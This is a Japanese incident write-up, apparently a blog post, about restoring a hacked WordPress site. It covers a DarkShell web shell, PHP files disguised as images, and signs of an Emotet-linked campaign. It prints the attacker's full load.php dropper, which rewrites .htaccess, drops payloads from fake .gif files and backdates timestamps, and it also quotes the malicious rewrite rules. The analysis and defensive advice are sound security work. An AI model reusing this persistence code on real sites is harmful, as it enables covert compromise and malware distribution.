とある改ざんサイトを修復した話

#経緯
ことは2020年1月に某クライアントからホームページが改ざんされたので復旧をしてほしいと弊社に依頼があったことに端を発します。当該サイトを訪れると以下のような画面が表示されるようになってしまい、なんとかしてほしいとのことでした。

![20203031_233801.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/598956/48ed0e9e-9aa4-0f97-9aa0-fe0aa7c805ea.png)


クライアントにヒアリングをしてみると、2019年中旬にすでに一度改ざんの被害を受けておりスパムメールの配布にサイトが利用されたとのことでした。そのとき対応はしたとのことですが、2012年12月になり再び心当たりない管理画面のログインなど不正アクセスの形跡があったとのことでした。

#調査結果
##概要
2019年12月以前のログは既に消失しており、また一度目の改ざん時点のWordPressおよび各種Pluginのバージョンが不明でしたので侵入経路を特定することができませんでした。
ただ、心当たりのない管理画面へのログインがあったことからPluginのアップロードディレクトリや画像などのコンテンツをアップロードするディレクトリを中心に調査したところ、画像ファイルに偽ったPHPスクリプトやWebShellの設置箇所が確認されました。
このような状況からパスワードクラックもしくはPluginの脆弱性を悪用されアカウントが搾取され前述のファイルがアップロードされたのであろうと推測しました。

##改ざん箇所
大きく分けて3つを目的とすると考えられるファイルがimagesフォルダを中心に設置されておりました。

####1. WebShell

**DarkShell**と呼ばれるWebShellが設置されておりました。WebShellとは、Webサイトに設置するとユーザ(今回はwww-data)権限で任意のコマンドを実行したりファイルをアップロードしたりすることが可能となる
悪意のあるWEBツールです。スクリプトを改ざんしたりすることを目的に設置されたと考えます。

![DarkShell_001.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/598956/e4530408-954c-3857-346b-378f63c7a7c9.png)

####2. ファイル生成スクリプト

主な改ざんファイルのパスは以下になりますが、このうちload.phpなどのPHPスクリプトはインターネット経由でアクセスするとDocumentRoot配下の.htaccessの置換やディレクトリの生成が実行されます。

| ファイルパス | 
|:-------------------------------------------|
| images/head_s.jpg |
| images/logo_s.jpg |
| wp-admin/images/align-lefts.png |
| wp-admin/images/align-rights.png |
| wp-includes/images/smilies/icon_blacks.gif | 
| wp-includes/images/smilies/icon_greens.gif |
| wp-includes/images/smilies/icon_reds.gif |
| wp-includes/load.php |
| wp-includes/template-loader.php |

サンプルとしてload.php以下に掲載します。


```load.php
//ck1bg
$nowFileDir =  'parseopml';
$nowHtacFile =  './.htaccess';
$nowMobanFile =  './parseopml/moban.html';
$nowIndexFile =  './parseopml/index.php';
$nowLogFile =  './parseopml/logs.txt';
$bkLocalFileIndex1 =  './wp-includes/images/smilies/icon_reds.gif';
$bkLocalFileHtac1 =  './wp-includes/images/smilies/icon_blacks.gif';
$bkLocalFileMoban1 =  './wp-includes/images/smilies/icon_greens.gif';

if($nowHtacFile && file_exists($bkLocalFileHtac1)){
        if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
                if(!is_dir("./$nowFileDir")){
                        @mkdir("./$nowFileDir",0755);
                }
                @chmod($nowHtacFile,0755);
                @file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
                @chmod($nowHtacFile,0755);
        }
}


if(file_exists($bkLocalFileIndex1)){
        if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
                if(!is_dir("./$nowFileDir")){
                        @mkdir("./$nowFileDir",0755);
                }
                @chmod($nowIndexFile,0755);
                @file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
                @chmod($nowIndexFile,0755);
        }
}

if(file_exists($bkLocalFileMoban1)){

        if(!file_exists($nowMobanFile)){
                if(!is_dir("./$nowFileDir")){
                        @mkdir("./$nowFileDir",0755);
                }
                @file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
                @chmod($nowMobanFile,0755);
        }else{
                if(filesize($nowMobanFile) != filesize($bkLocalFileMoban1)){
                        $tpstrMb = file_get_contents($nowMobanFile);
                        if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
                                $fitime = filemtime($bkLocalFileMoban1);
                                @chmod($bkLocalFileMoban1,0755);
                                @file_put_contents($bkLocalFileMoban1,$tpstrMb);
                                @touch($bkLocalFileMoban1, $fitime, $fitime);
                        }else{
                                @chmod($bkLocalFileMoban1,0755);
                                @file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
                                @chmod($bkLocalFileMoban1,0755);
                        }
                }
        }

}
//ck1end
```



####3. DocumentRoot配下

2.のPHP ScriptでDocumentRoot配下の.htaccessが差し替えとparseopmlディレクトリ、またindex.phpを中心としたファイルが生成されます。以下は置換される.htaccessを一部抜粋しております。

```.htaccess
RewriteRule ^.*[-](\d+)/(.*)/$ parseopml/index\.php?id=$1&%{QUERY_STRING} [L]
RewriteRule ^.*j/(.*)/$ parseopml/index\.php?cat=$1&%{QUERY_STRING} [L]
```
上記の一行目の設定によって、**http://[改竄サイトドメイン]/[ランダム文字列]-[数字列]/** のようなURLにアクセスするとparseopml/index.phpにリダイレクトされます。この/[ランダム文字列]-[数字文字列]/ のようなパスパターンは、過去Emotet配布キャンペーンのばらまき型メール内に記載されいるURLリンクに見られました。
index.phpは、**[改竄サイトドメイン]**と**[数字列]**をパラメータとして外部ドメインからコンテンツを取得してJavaScriptなどを生成する処理を中心としておりました。


# 改ざんの特徴

今回の事例での改ざん箇所の特徴としては以下があげられます。

1. **.htaccess**を生成するコードが見られる
2. 改ざん箇所に**//ck1bk**などの文字列がみられる
3. 改行コードが改ざん箇所から**CR+LF**に変わっている
4. 拡張子をpngやgifなどとして画像に偽装したPHPスクリプトファイルが設置されている


# 対策

　WordPressで作成されたサイトは、やなり悪意のある第三者に狙われやすいようです。
月並みですが、Webサイトの管理者は以下をチェックしてみてください。

#####1. WordPressおよびPluginのバージョンは最新か？

WordPressのCoreモジュールの脆弱性はすぐにパッチがリリースされますが、Pluginの脆弱性は放置されることも多く、そこを悪意のある第三者に狙われることが多いようです。

#####2. ポリシーを定めてログを残しているか？

今回の事例では、ログが残っていなかったため侵入経路を特定することが難しくなりました。

#####3. リアルタイムもしくは定期的に改ざんやマルウェア設置を検知できるPlugin(Wordfenceなど)などのツールを導入しているか？

WebShellなどの悪意のあるツールやマルウェアなどが設置された場合は、WordPressのセキュリティPluginを導入しておけば概ねは大丈夫ですが、何らかの方法でパスワードが摂取されてスクリプトなどが改ざんされた場合には検知することが難しいです。また、小規模Webサイトの管理のために、アノマリ検知型やふるまい検知型のセキュリティ製品やサービスを導入することが予算的に難しいと思います。そのような方々は上記改さんの特徴を元に異常をチェックするような検知スクリプトを組んでおくことも有効です。

#####4. パスワード？

脆弱なパスワードを利用していないか、パスワードを使いまわしていないかなど確認してください。WordPressのPluginにはに要素認証に対応したものもあるようです。


# おわりに
うまくいけばEmotetをダウンロードするMaldocが入手できるかと期待したのですが、残念ながら入手できませんでした。ただ、この調査で入手したドメインは有効で悪性判定されていないので引き続き監視は継続しようと思います。また、実際にやられているサイトの内部をお目にかかる機会はあまりないので貴重な経験をさせていただきました。